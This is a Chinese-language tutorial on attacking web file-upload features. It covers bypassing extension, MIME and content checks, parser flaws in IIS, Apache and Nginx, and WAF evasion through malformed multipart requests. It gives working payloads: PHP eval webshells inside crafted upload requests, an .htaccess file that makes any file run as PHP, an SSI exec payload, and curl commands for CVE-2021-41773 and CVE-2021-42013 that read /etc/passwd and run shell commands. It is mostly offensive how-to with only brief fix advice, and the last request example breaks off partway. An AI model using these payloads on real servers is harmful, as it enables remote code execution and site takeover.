文件上传漏洞

1 文件上传漏洞基础

文件上传漏洞是指在文件上传的功能处,若服务端脚本语言未对上传的文件进行严格验证和过滤,导致恶意用户可以上传恶意的脚本文件,有可能获取执行服务端命令的能力。

这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。

1.1 文件上传实战思路

文件上传和文件执行是两个东西。

思路:

如果有一个网站,要从文件上传的方向开始;

先看中间件,看是否存在解析漏洞/CMS/编辑器漏洞/CVE/;

如果有,如何找:字典扫描,扫描会员中心等可能存在文件上传的位置。

找到后,如何利用:验证/绕过。

2 文件上传绕过分类

2.1 前端检测

主要是通过javascript代码进行检测,非常容易绕过。

操作

F12查看相关代码,删除引用相关js函数的代码,或修改返回值为true,或禁用js等。

2.2 黑名单

黑名单就是服务端明确不让上传的文件后缀,例如:rar、php、zip等。

2.2.1 特殊后缀

特殊解析后缀绕过是由于黑名单过滤规则不严谨,在某些特定的情况下的后缀也能够被当作php文件进行解析,例如PHP2、php3、php4、phtml、pht等情况。

phpphp、php3、php4、php5、php7、pht、phtml、phar,在配置文件夹中需要将AddType application/x-httpd-php .php .phtml .phps .php1 .php4 .pht 这样的一段话前面的注释删除,重启phpstudy让其生效。

ASP:asa、cer、cdx
ASPX:ascx、ashx、asac
JSP:jspx、jspf

2.2.2 .htaccess解析 (Apache)

原理

.htaccess是Apache提供的一种可作用于当前目录及其子目录的特殊配置文件,如果网站开启了.htaccess功能,攻击者可能上传.htaccess文件覆盖apache文件解析规则,从而导致解析漏洞产生。

操作

上传.htaccess文件,内容如下:

1
2
3
<FilesMatch "">
SetHandler application/x-httpd-php
</FilesMatch>

意思是把任意文件都当做php文件解析。如果双引号内写入”x.jpg”,意思是把该目录下的x.jpg当做php文件解析。

再上传图片马x.jpg,访问该图片即可。

2.2.3 大小写绕过

服务端未将后缀进行统一的格式转换,同时由于Windows系统对后缀大小写并不敏感,所以将PHP改成Php也会被当作PHP进行解析。

2.2.4 点绕过 (Windows)

利用了Windows对文件和文件名的限制,当将点放在结尾的时候,就会触发操作系统的命名规范问题,所以在生成文件的时候,添加在结尾的点就会被去除。

操作

抓包拦截,在文件名后加一个点。例如:1.php.

部分情况下,过滤是一次性的,只删除一次点,可以抓包并在文件名后添加点空格点来绕过。

2.2.5 空格绕过 (Windows)

有些web后端没有对文件名进行去除空格处理,而黑名单中又没有对这样的文件后缀名过滤,当我们上传一个类似于1.php空格 的文件这样就会成功上传到服务器的目录中。在服务器中,空格会被系统自动去除。

操作

抓包拦截,文件名后加空格,例如:1.php空格

2.2.6 ::$DATA绕过 (Windows)

在window中,如果文件名后加上”::$DATA“,会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。

操作

抓包拦截,在文件名后加::$DATA,例如:1.php::$DATA

2.2.7 双写绕过

服务端可能存在将后缀替换为空的情况,但是可能只过滤了一次,所以就出现了可以通过双写绕过的可能。

过滤是从左到右进行匹配。所以可以把php双写成pphphp。

2.3 白名单

白名单就是服务端明确可以上传的格式后缀,例如:jpg、png、jpeg等。

2.3.1 MIME绕过

服务端MIME类型检测是通过检查http中包含的Content-Type字段中的值来判断上传文件是否合法的。所以修改content-type就可以绕过。

MIME (Multipurpose Internet Mail Extensions) 是描述消息内容类型的因特网标准。MIME消息包含文本、图像、音频、视频以及其他应用程序专用的数据。

文件扩展名 Mime-Type
.js application/x-javascript
.html text/html
.jpg image/jpeg
.png image/png
.pdf application/pdf
.xml test/xml
.xhtml application/xhtml+xml
.xls application/vnd.ms-excel
.txt text/plain
.rtf application/rtf
.pdf application/pdf
.word .doc application/msword
.au audio/basic

操作:

上传文件,抓包拦截,将Content-Type的值修改为image/jpeg等允许的类型。

2.3.2 %00截断

%00不是代表空格,而是null,一个空字符,当程序执行到%00后,后面的数据就会停止,意思就是误当作结束符,把后面的数据直接忽略了,这就会导致漏洞产生。

文件上传时,文件扩展名验证会对包含%00后面的整个扩展名进行验证,但保存时只保存%00前面的文件名。

环境

php<5.3,magic_quotes_gpc=off

操作

上传图片马,抓包拦截,如果文件名在请求包的第一行URL中(请求行),修改为1.php%00,保存后的文件名为1.php;如果文件名在下方请求体中,在文件名后加任意一个字符(以数字1为例),点击Hex来查看16进制的请求包,找到刚才添加的字符位置,将其(1的16进制为31)改为00,放行,或者在文件名后加上%00,选中%00,右键->转换选中内容->URL->URL解码。

2.4 内容及其他

2.4.1 文件头检测

文件头是文件开头的一段二进制码,不同类型的图片也就会有不同的二进制头。

JPEG (jpg),文件头:FF D8 FF E0 (E0~EF)
PNG (png),文件头:89 50 4E 47 (�PNG)
GIF (gif),文件头:47 49 46 38 39 61 (GIF89a)

2.4.2 二次渲染

二次渲染就是在我们上传的图片后,网站会对图片进行二次处理,比如对图片的尺寸、格式、以及网站对图片进行定义的一些要求等进行处理,并且服务器会对里面的内容进行二次替换更新,在处理完后,会生成一个合规的图片在网站上显示出来。

操作

把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。

2.4.3 条件竞争

在源代码中是存在校验的,但是校验是在文件上传后,才开始校验,也就是文件先上传至服务器中,然后服务器会对该文件进行校验,当符合的时候则会对文件进行重命名,当文件不符合要求的时候就对将文件进行删除。

在服务器对文件删除前进行访问,由于文件在访问过程中,服务器是无法删除的,所以就可以利用这个节点实现条件竞争。

操作

上传的文件内容可以为:

1
2
3
4
5
6
<?php
$myfile = fopen("shell.php", "w");
$txt = "<?php phpinfo();?>";
fwrite($myfile, $txt);
fclose($myfile);
?>

意思是新建一个shell.php文件。

2.4.4 突破getimagesize

getimagesize函数是用于获取图像大小及相关信息,成功返回一个数组,失败则返回false产生一条e_warning级的错误信息。

通过对图片及代码进行合成为图片马,这个时候getimagesize函数既可以获取图片信息,配合解析漏洞,将图片马当作php文件解析,从而绕过getimagesize函数的限制。

4.5 突破exif_imagetype

exif_imagetype()读取图像的第一个字节并检查其签名。当找到正确的签名时,将返回适当的常量值,否则返回值为FALSE。

可以通过制作图片马绕过,再配合文件包含漏洞解析文件来获取服务器配置信息。


3 解析漏洞

解析漏洞就是指服务器应用程序在解析某些精心构造的后缀文件的时候,会将相关的文件解析成网页的脚本,从而导致实现控制网站,同时大部分的解析漏洞都是由应用程序产生的。

3.1 IIS解析漏洞

3.1.1 IIS5.0/6.0

目录解析

在以.asp为文件夹名的文件夹下的任何文件都将作为asp文件执行。

也就是当目录为XX.asp的时候,那么当访问该目录下的图片的时候,如XX.aps/1.jpg就会被当作ASP执行。

文件解析

如果文件名为1.asp;.jpg,由于IIS不解析;后面的内容,就会把文件当作1.asp进行解析,同时还存在.asa、.cer、.cdx也可以进行解析。

修复建议

  1. 限制上传目录的执行权限,不允许执行脚本。
  2. 不允许创建目录。
  3. 上传的文件进行重命名。

3.1.2 IIS7.0/IIS7.5

IIS7.0/IIS7.5 Fast-CGI

由于php配置文件中cgi.fix_pathinfo=1,文件不存在时会修正路径向前递归解析,因此导致访问文件时在路径后添加任意以“.php”结尾的路径名即可将该文件以php格式执行。例如:1.jpg/.php会被当做php解析。

环境

  1. php.ini里的cgi.fix_pathinfo=1

  2. IIS7在FastCGl运行模式下

操作

上传图片马,访问该图片时,图片名后加/.php。

或者 图片马内容包含以下内容:

1
2
3
4
5
6
<?php
$myfile = fopen("shell.php", "w");
$txt = "<?php phpinfo();?>";
fwrite($myfile, $txt);
fclose($myfile);
?>

访问后,新建一个shell.php。

3.2 Apache解析漏洞

参考教程:https://blog.csdn.net/qq_32277727/article/details/136141702

3.2.1 Apache换行解析漏洞

漏洞编号:CVE-2017-15715

版本:2.4.0~2.4.29

原理

在解析PHP时,1.php\x0A将被当做PHP进行解析,导致绕过一些服务器的安全策略。

操作

上传php文件,Burpsuite抓包拦截,在文件名后加任意一个字符(以数字1为例),点击Hex来查看这个请求包的16进制模式,找到刚才添加的任意字符所在位置,将其对应的16进制(1的16进制为31)改为0a,再放行该请求即可。访问*/1.php%0a能够成功解析。

3.2.2 Apache多后缀解析漏洞

原理

Apache HTTPD 支持一个文件拥有多个后缀,并为不同后缀执行不同的指令,比如配置文件中有这项的话:AddHandler application/x-httpd-php .php,在有多个后缀的情况下,只要一个文件含有.php后缀的文件就会被识别成PHP文件,没必要是最后一个后缀。

此外,apache解析文件的时候有一个原则就是,以.后面的扩展名来解析,当遇见不认识的扩展名的时候,就会从后向前解析,直到遇到能够解析的后缀名为止。

多用于绕过黑名单的检查。

操作

上传文件名为xxx.php.jpg或xxx.php.jpeg的文件,文件内容可以是<?=phpinfo()?>

3.2.3 特殊后缀解析

原理

以php5.6为例,php配置文件中正则表达式”.+\.ph(p[3457]?|t|tml)$“匹配到以php、php3、php4、php5、php7、pht、phtml后缀名结尾的文件时会把文件交给php解析器执行。同理,对于php7.4,默认可匹配的后缀名有:phar、php、phtml

3.2.4 .htaccess解析漏洞

原理

.htaccess是Apache提供的一种可作用于当前目录及其子目录的特殊配置文件,如果网站开启了.htaccess功能,攻击者可能上传.htaccess文件覆盖apache文件解析规则,从而导致解析漏洞产生。

操作

上传.htaccess文件,内容如下:

1
2
3
<FilesMatch "">
SetHandler application/x-httpd-php
</FilesMatch>

意思是把任意文件都当做php文件解析。如果双引号内写入”x.jpg”,意思是把该目录下的x.jpg当做php文件解析。

再上传图片马x.jpg,访问该图片即可。

3.2.5 Apache SSI 远程命令执行漏洞

原理

如果目标服务器开启了SSI与CGI支持,我们可以上传一个shtml文件,并利用。

操作

上传一个shell.shtml文件,内容为:
<!--#exec cmd="ls" -->,ls命令可以列出当前目录所有文件。

3.2.6 Apache文件读取&命令执行漏洞

漏洞编号:CVE-2021-41773

版本:2.4.49

原理

在2.4.49版本中,如果设置了穿越的目录允许被访问(默认情况下是不允许的),就可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

操作

cmd执行以下命令:

1
2
3
4
# 读取文件:
curl -v --path-as-is http://192.168.200.3:8080/一个可以访问的目录/.%2e/.%2e/.%2e/.%2e/etc/passwd #点的url编码为%2e,或者.%2e可以替换为.%%32%65
# 执行命令whoami:
curl -v --data "echo;whoami" 'http://192.168.200.3:8080/一个可以访问的目录/.%2e/.%2e/.%2e/.%2e/bin/sh'

3.2.7 Apache路径穿越漏洞

漏洞编号:CVE-2021-42013

版本:2.4.49 、 2.4.50

原理

由 CVE-2021-41773 修复不完整导致,攻击者可以使用路径遍历攻击将 URL 映射到类别名指令配置的目录之外的文件。

操作

cmd执行命令:

1
2
读取文件:
curl -v --path-as-is http://192.168.200.3:8080/一个可访问的目录/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

3.3 Nginx解析漏洞

3.3.1 空字节代码执行漏洞

版本:0.5.x、0.6.x、 0.7 <= 0.7.65、 0.8 <= 0.8.37

原理

低版本Nginx在遇到%00空字节时因为与后端FastCGI处理不一致,导致末尾包含空字节%00的文件时也能被按照php后缀解析执行。攻击者可以上传图片马xxx.jpg,通过访问xxx.jpg%00.php来执行其中的代码。

3.3.2 文件名逻辑漏洞

漏洞编号:CVE-2013-4547

版本:0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7

原理

该漏洞存在于Nginx对于PHP的配置上,如果配置不当,容易使得Nginx实现对%00等特殊字符解析出现问题,造成Nginx将特殊构造的URL交给PHP来进行处理,而Nginx则因为特殊字符的问题,无法接收含有特殊字符的URL或者是造成了在%00位置处的截断,从而造成了客户上传的文件被当作PHP代码来解析。

操作

图片马内容为:<?php phpinfo(); ?>

上传图片马shell.jpg,抓包拦截,将文件名重名为:shell.jpga,先用a进行占位,之后通过16进制修改为20(空格),放行。

这时的文件名为 shell.jpg0x20 。

访问该图片,抓包拦截,把图片名改为shell.jpgaa.php,把aa通过16进制修改为20(空格)和00(截断符),放行可看到phpinfo信息。

3.3.3 PHP CGI解析漏洞

原理

Nginx以FastCGI模式解析PHP,PHP-FPM是FastCGI的进程管理器,Nginx将请求内容按照FastCGI协议格式封装,通过TCP报文传输给PHP-FPM解析。PHP-FPM将数据还原,执行SCRIPT_FILENAME变量值指向的PHP文件。但由于默认php配置文件中cgi.fix_pathinfo参数的作用,文件不存在时会修正路径向前递归解析,因此导致访问文件时在路径后添加任意以“.php”结尾的路径名即可将该文件以php格式执行。

操作

上传shell.jpg,访问”/shell.jpg/1.php”。

3.3.4 .user.ini

要求

  • 服务器脚本语言为PHP,并且使用CGI/FastCGI模式,php版本>5.3.0

  • 上传目录下要有可执行的php文件

原理

.user.ini会影响php.ini中的配置,从而将指定的文件内容按php来解析,影响的范围为该文件所在的目录以及子目录。需要等待php.ini中的user_ini.cache_ttl设置的时间或重启Apache才能生效,且只在php5.3.0之后的版本才生效。可用于Nginx、Apache、IIS,Apache中的.htaccess文件有同样的效果(.htaccess只能用于Apache)。

php.ini中有以下两行代码:

1
2
3
4
; 用户自定义的php.ini文件的名字,默认是.user.ini
user_ini.filename = ".user.ini"
; 重新读取用户INI文件的时间间隔,默认是300秒(5分钟)
user_ini.cache_ttl = 300

操作

先上传一个.user.ini文件,这个文件的内容为auto_prepend_file=xxx.jpg,再上传一个图片马xxx.jpg,起到的作用相当于在可执行的php文件前插入图片马中的内容。访问上传目录中已经存在的可执行php文件即可。

4 编辑器漏洞

编辑器也就是在线的web编辑器,比如在搭建博客后需要发布文章,那么用来发布文章的界面就是web编辑器。当然web编辑器有很多,如:UEDITOR(百度)、eWebEdit、FCKeditor、CKEditor(新版fck)、Kindeditor、DotNetTextBox、CuteEditor等等。

相关资料:

编辑器漏洞详解:https://blog.csdn.net/qq_40806924/article/details/118307640

5 WAF绕过

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF

5.1 HTTP文件上传数据包解析

文件上传实质上还是客户端的POST请求,消息主体是一些上传信息。前端上传页面需要指定 enctype 为multipart/form-data才能正常上传文件。

正常的文件上传数据包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST http://www.example.com HTTP/1.1
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK

------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"

1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"

2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--

请求头中Content-Type存在以下特征:

  • multipart/form-data:表示该请求是一个文件上传请求。

  • 存在boundary字符串:作用为分隔符,以区分POST数据。

请求体存在以下特征:

  • Content-Disposition:指示如何处理响应的内容以及如何呈现给用户。例如指定是否应该直接显示在浏览器中、弹出下载对话框,或者在页面内嵌显示。

  • name:包含该字段的内容引用的 HTML 字段的名称。

  • filename:后面是一个包含传输文件的原始名称的字符串。

  • POST请求体中的boundary的值就是Content-Type的值在最前面加了两个-,除了最后标识结束的boundary

  • 最后标识结束的boundary最后默认会多出两个-(测试时,最后一行的boundary删掉也能成功上传)。

5.1.1 文件上传在数据包中可修改的地方

Content-Disposition:一般可更改

name:表单参数值,不能更改

filename:文件名,可以更改

Content-Type:文件 MIME,视情况更改

boundary:内容划分,可以更改

5.2 字符变异

5.2.1 引号变换

头部字段的值既可以添加单引号也可以添加双引号还可以不加引号,都不会影响上传结果。

1
2
3
4
5
6
Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'

可以去除掉filename字符串中末尾的引号,也能够正常上传。

1
2
3
Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;

5.2.2 大小写变换

对这三个固定的字符串进行大小写转换

Content-Disposition name filename

比如name转换成NameContent-Disposition转换成content-disposition

5.2.3 添加换行符

字段值与等号之间可以加入换行符,依然可以正常上传,下面我使用[0x0a]代替换行符

1
2
3
4
5
Content-Disposition: "form-data"; name="file_x"; filename=[0x0a]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x0a]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x0a]"xx.php"[0x0a]
Content-Disposition: "form-data"; name="file_x"; filename=[0x0a]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x0a]xx.php[0x0a];

5.2.4 多个分号

文件解析时,可能因为分号解析不到文件名,导致绕过。

1
Content-Disposition: form-data; name="file_x";;; filename="test.php"

5.2.5 多个等号

在POST的内容中使用多个等号对文件上传也没有影响。

1
Content-Disposition: form-data; name=="file_x"; filename===="test.php"

5.2.6 变换Content-Disposition的值

某些WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。其实Content-Disposition可以任意变换或为空。

1
2
3
4
5
Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"

5.2.7 畸形的boundary头部

boundary可以变化为如下形式,且不影响上传:

正常的boundary

1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111

畸形的boundary

  • multipart/form-data大小写可变:
1
Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
  • multipart/form-databoundary之间可以使用空格分隔,且中间可以插入任何值:
1
2
3
4
Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
  • multipart/form-databoundary之间可以使用逗号分隔,且中间可以插入任何值:
1
2
3
4
Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
  • boundary之前可以直接加入任何值(PHP可行):
1
2
3
Content-Type: multipart/form-data;bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data bypass&123**{|}boundary=----WebKitFormBoundarye111
Content-Type: multipart/form-data,bypass&123**{|}boundary=----WebKitFormBoundarye111
  • boundary末尾可以使用逗号或分号隔开插入任何值
1
2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc

5.3 顺序颠倒

5.3.1 交换name和filename的顺序

因为规定了Content-Disposition必须在最前面,所以只能交换name和filename的顺序。

有的WAF可能会匹配name在前面,filename在后面,可以导致绕过。

1
Content-Disposition: form-data; filename="xx.php"; name="file_x"

5.3.2 交换Content-Disposition和Content-Type的顺序

与上述一样,Content-Disposition和Content-Type也是能够交换顺序的。

1
2
Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"

5.3.3 交换不同boundary内容的顺序

不同boundary内容也能够交换,且不影响文件上传

1
2
3
4
5
6
7
8
9
10
11
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

5.4 数据重复

5.4.1 boundary内容重复

最后上传的文件是shell.php而非shell.jpg,但是如果取的文件名只取了第一个就会被Bypass。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

下面这样也是可以正常上传的

1
2
3
4
5
6
7
8
9
10
11
12
13
------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['hack']); ?>
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--

5.4.2 filename重复

最终上传成功的文件名是shell.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

1
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";

5.5 数据溢出

5.5.1 name与filename之间插入垃圾数据

name与filename之间插入大量垃圾数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /Pass-02/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf;
filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf--

注:需在大量垃圾数据后加“;”

5.5.2 boundary字符串中加入垃圾数据

boundray字符串的值可以为任何数据(有一定的长度限制),当长度达到WAF无法处理时,而Web服务器又能够处理,那么就可以绕过WAF上传文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="upload_file";filename="shell.php"
Content-Type: image/png

<?php @eval($_POST['x']);?>

------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9--

5.5.3 boundray末尾插入垃圾数据

刚才讲到过boundary末尾可以插入任何数据,那么就可以在boundary字符串末尾加入大量垃圾数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /Pass-01/index.php HTTP/1.1
Host: hackrock.com:813
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf,bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8659f2312bf8658dafbf0fd31ead48dcc0b9f2312bfWebKitFormBoundaryzEHC1GyG8wYOH1rffbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9
Connection: close
Content-Length: 592

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
